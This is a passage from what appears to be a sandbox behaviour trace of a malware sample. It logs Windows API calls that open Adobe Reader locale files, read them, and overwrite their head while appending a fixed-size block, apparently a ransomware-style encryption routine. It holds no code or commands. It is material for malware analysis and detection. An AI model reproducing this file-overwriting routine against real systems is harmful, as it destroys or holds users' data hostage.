dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.763] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.763] ReleaseMutex (hMutex=0x128) returned 1 [0043.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0043.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0043.763] ReadFile (in: hFile=0x170, lpBuffer=0x27cf988, nNumberOfBytesToRead=0xe5, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27cf988*, lpNumberOfBytesRead=0x304f2bc*=0xe5, lpOverlapped=0x0) returned 1 [0043.764] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0043.764] WriteFile (in: hFile=0x170, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66d, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x66d, lpOverlapped=0x0) returned 1 [0043.764] CloseHandle (hObject=0x170) returned 1 [0043.764] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\DigSig.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\digsig.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.764] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.764] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1f200 [0043.764] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.764] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.764] ReleaseMutex (hMutex=0x128) returned 1 [0043.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0043.765] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.DAN", cchWideChar=10, lpMultiByteStr=0x1e6312c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.DAN", lpUsedDefaultChar=0x0) returned 10 [0043.765] ReadFile (in: hFile=0x170, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0043.766] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1e200 [0043.766] ReadFile (in: hFile=0x170, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.768] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1e200 [0043.768] WriteFile (in: hFile=0x170, lpBuffer=0x3a4e6f8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a4e6f8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.768] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0043.768] WriteFile (in: hFile=0x170, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0043.768] CloseHandle (hObject=0x170) returned 1 [0043.769] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\ReadOutLoud.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\readoutloud.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.769] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.769] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2a00 [0043.769] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.769] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.769] ReleaseMutex (hMutex=0x128) returned 1 [0043.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.DAN", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0043.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.DAN", cchWideChar=15, lpMultiByteStr=0x1e6324c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.DAN", lpUsedDefaultChar=0x0) returned 15 [0043.769] ReadFile (in: hFile=0x170, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.773] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1a00 [0043.773] ReadFile (in: hFile=0x170, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.774] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1a00 [0043.774] WriteFile (in: hFile=0x170, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.774] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0043.774] WriteFile (in: hFile=0x170, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.774] CloseHandle (hObject=0x170) returned 1 [0043.774] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\accessibility.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\accessibility.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.775] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.775] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xb000 [0043.775] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.775] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.775] ReleaseMutex (hMutex=0x128) returned 1 [0043.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.DEU", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0043.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.DEU", cchWideChar=17, lpMultiByteStr=0x1e78b04, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.DEU", lpUsedDefaultChar=0x0) returned 17 [0043.775] ReadFile (in: hFile=0x170, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0043.776] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xa000 [0043.776] ReadFile (in: hFile=0x170, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.777] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xa000 [0043.777] WriteFile (in: hFile=0x170, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.778] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0043.778] WriteFile (in: hFile=0x170, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0043.778] CloseHandle (hObject=0x170) returned 1 [0043.778] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\IA32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ia32.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.778] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.778] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xe00 [0043.778] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.778] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.779] ReleaseMutex (hMutex=0x128) returned 1 [0043.779] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.DEU", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0043.779] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.DEU", cchWideChar=8, lpMultiByteStr=0x1e62fec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.DEU", lpUsedDefaultChar=0x0) returned 8 [0043.779] ReadFile (in: hFile=0x170, lpBuffer=0x1defde8, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x304f2bc*=0xe00, lpOverlapped=0x0) returned 1 [0043.780] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0043.780] WriteFile (in: hFile=0x170, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x304f2d0*=0x1388, lpOverlapped=0x0) returned 1 [0043.780] CloseHandle (hObject=0x170) returned 1 [0043.780] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SendMail.deu" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\sendmail.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.781] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.781] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4000 [0043.781] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.781] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.781] ReleaseMutex (hMutex=0x128) returned 1 [0043.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.deu", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0043.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.deu", cchWideChar=12, lpMultiByteStr=0x1e6320c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.deu", lpUsedDefaultChar=0x0) returned 12 [0043.781] ReadFile (in: hFile=0x170, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.782] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3000 [0043.783] ReadFile (in: hFile=0x170, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.783] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3000 [0043.783] WriteFile (in: hFile=0x170, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.783] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0043.784] WriteFile (in: hFile=0x170, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.784] CloseHandle (hObject=0x170) returned 1 [0043.784] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\BRdlang32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\brdlang32.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.784] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.784] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x3600 [0043.784] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.784] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.784] ReleaseMutex (hMutex=0x128) returned 1 [0043.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.ESP", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0043.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.ESP", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.ESP", lpUsedDefaultChar=0x0) returned 13 [0043.784] ReadFile (in: hFile=0x170, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.786] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2600 [0043.786] ReadFile (in: hFile=0x170, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.508] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2600 [0044.508] WriteFile (in: hFile=0x170, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.508] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0044.509] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.512] CloseHandle (hObject=0x170) returned 1 [0044.512] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\PPKLITE.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\ppklite.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0044.520] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.520] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x83c00 [0044.520] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.520] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.521] ReleaseMutex (hMutex=0x128) returned 1 [0044.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0044.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.ESP", cchWideChar=11, lpMultiByteStr=0x1e630ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.ESP", lpUsedDefaultChar=0x0) returned 11 [0044.521] ReadFile (in: hFile=0x170, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0044.532] ReadFile (in: hFile=0x170, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.533] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x82c00 [0044.533] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.534] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x82c00 [0044.535] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.535] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0044.535] WriteFile (in: hFile=0x170, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0044.535] WriteFile (in: hFile=0x170, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.535] CloseHandle (hObject=0x170) returned 1 [0044.536] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\updater.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\updater.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0044.536] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.536] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2a00 [0044.536] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.536] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.536] ReleaseMutex (hMutex=0x128) returned 1 [0044.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0044.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.ESP", cchWideChar=11, lpMultiByteStr=0x1e62fec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.ESP", lpUsedDefaultChar=0x0) returned 11 [0044.536] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, 